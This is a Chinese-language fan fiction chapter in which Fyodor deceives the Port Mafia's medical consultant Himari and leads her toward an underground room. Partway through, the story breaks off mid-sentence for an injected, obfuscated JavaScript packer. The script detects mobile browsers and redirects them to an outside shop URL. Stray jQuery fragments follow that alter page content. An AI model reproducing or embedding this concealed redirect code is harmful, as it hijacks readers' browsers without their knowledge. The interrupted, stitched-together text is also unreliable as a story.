“虽然在这个时代收集信息变得方便了不少,但相对应的,有时候传递信息就变得麻烦了很多啊…”
费奥多尔咬了咬指甲,“不过这点小小的意外也在意料之中。毕竟是珍贵的月亮,过程有些波折也在所难免。”
他放下手指,敲了敲键盘,“原本不期望用这样粗暴的方式,但现在看来,还是直观的刺激比较好。”
随着一声轻响,电脑屏幕渐渐暗去。那个咧着夸张笑容的紫色老鼠头像,如同被夜色吞噬的幽灵,一寸寸消失在黑暗中。
———————————
“唔…”猫池阳葵打量着眼前高大的黑发男人,对方缀着笑意任由她审视的目光在自己身上上下巡视。
"顾问?"男人微微欠身,声音温柔得像是怕惊扰了什么。
"嗯。"阳葵点点头,手指不自觉地绞紧了衣角,"你说太宰君找我?"
她困惑地眨眨眼,"可今天不是约定的治疗日,而且..."
她的声音渐渐低了下去,像是自言自语,"他怎么不亲自来找我?如果是特别行动队的事,应该是广津先生来才对..."
"顾问不记得我了啊。"男人轻笑一声,声音里甚至带着几分无奈的宠溺,"我就是特别行动队的成员。"
他漂亮的酒红色眼睛温和的注视着眼前困扰的女孩,"我叫费奥多尔,之前和顾问见过好几次面呢。"
特别行动队有叫这个名字的人吗…?猫池阳葵蹙起眉头思索着。
但是她却没办法确定。记忆像是被搅浑的池水,泛起模糊的涟漪。
每次使用复活能力后,那些被复活者的面容都会从脑海中消失得无影无踪。
但看着对方熟稔的态度,还有这确实是在港口黑手党内部...应该没问题吧?说不定又是太宰那个坏心眼的家伙在捉弄人...
就在猫池阳葵还在犹豫要不要跟着对方离开时,这位自称费奥多尔的男性看了一眼挂在墙上的钟,叹了一口气,“时间快到了,顾问还是先和我过去吧?让太宰大人等待太久…”
他适时露出一个有些苦涩的笑容,“虽然不会对猫池顾问您做什么,但我们免不了被太宰大人教训。”
“…我明白了,”猫池阳葵有些无奈地叹气。
她从椅子上站起身,黑色斗篷的下摆扫过小腿,“那走吧,费奥多尔先生。”
走廊的灯光有些昏暗,猫池阳葵跟在费奥多尔身后,短靴靴跟踩在大理石地面上敲出清脆的声响。
"顾问最近工作很辛苦吧?"费奥多尔微微侧身,声音温和得像融化在红茶里的蜂蜜。
猫池阳葵跟在他身后,左手的青色丝带随着她的动作晃动着:"还好啦,比起之前龙头战争时期,已经好太多了。”
费奥多尔放慢脚步,与猫池阳葵并肩而行:"顾问觉得港口黑手党怎么样?"
"诶?"猫池阳葵歪着头,"就是...挺好的啊?大家都是很努力的在横滨生活的普通人,也都很照顾我。"
费奥多尔笑了笑:"这样啊。那顾问知道自己的异能在组织里具体是怎么使用的吗?"
"当然知道啦!"猫池阳葵不假思索地回答,"我负责治疗大家,有时候也会去特别行动队帮忙复活大家。”
费奥多尔轻轻"嗯"了一声,拐过一个转角:"顾问有没有想过,为什么需要复活的人这么多呢?"
猫池阳葵的脚步微微一顿:"因为...港口黑手党的工作很危险?"
"是啊,很危险呢。"费奥多尔的声音带着几分感慨,"尤其是先前在战争时期。"
"不过现在战争已经结束了。"猫池阳葵认真地说,"费奥多尔先生不用太担心,特别行动队也很快会解散的。到时候您也不需要再经历这样反复的复活了,我也会好好记住您的名字的!"
“…顾问人真
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17055920|189753||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
好呢。”费奥多尔意味深长地看了她一眼:"也真的很信任中原大人和大家呢。"
"当然啦!"猫池阳葵毫不犹豫地点头,"中也是我的家人嘛。"
费奥多尔若有所思地点点头:"那顾问知道最近组织在做什么吗?"
"呃..."猫池阳葵挠了挠头,"大概就是...维持横滨和平?具体的我也不太清楚,毕竟我也没加入港口黑手党,只是作为医疗顾问来帮帮忙啦。"
"这样啊。"费奥多尔的声音轻飘飘的,"那顾问有没有想过,为什么每周都有那么多伤员需要治疗呢?"
猫池阳葵的脚步渐渐慢了下来:"费奥多尔先生,你到底想说什么?"
费奥多尔停下脚步,转身面对她:"顾问有没有想过,港口黑手党可能并不是在保护横滨,而是在..."
"费奥多尔先生!"猫池阳葵突然提高声音打断他,"我不知道你是谁,也不清楚你到底想说什么。但是——"
她的眼神变得坚定,"我相信中也,也相信港口黑手党的大家。如果你是想挑拨离间的话,那还是省省吧。"
费奥多尔微微挑眉,随即露出一个歉意的笑容:"抱歉,是我多嘴了。只是...作为特别行动队的一员,看到顾问这么单纯,难免有些担心。"
"我才不单纯呢!"猫池阳葵气鼓鼓地说,"我只是选择相信自己的同伴而已。"
费奥多尔轻轻点头:"顾问说得对。是我冒犯了。"
他转身继续带路:"太宰大人应该等急了。这边请,顾问。路有些滑,请小心脚下。"
费奥多尔推开一扇厚重的门,引领猫池阳葵走向向下的阶梯。
那是一段通往地下的幽暗楼梯。
白色的雾气从石墙的缝隙中无声渗出,将整个地下室笼罩在朦胧的雾霭之中。
潮湿的石壁泛着暗淡的光泽,仿佛被某种黑色的液体浸透。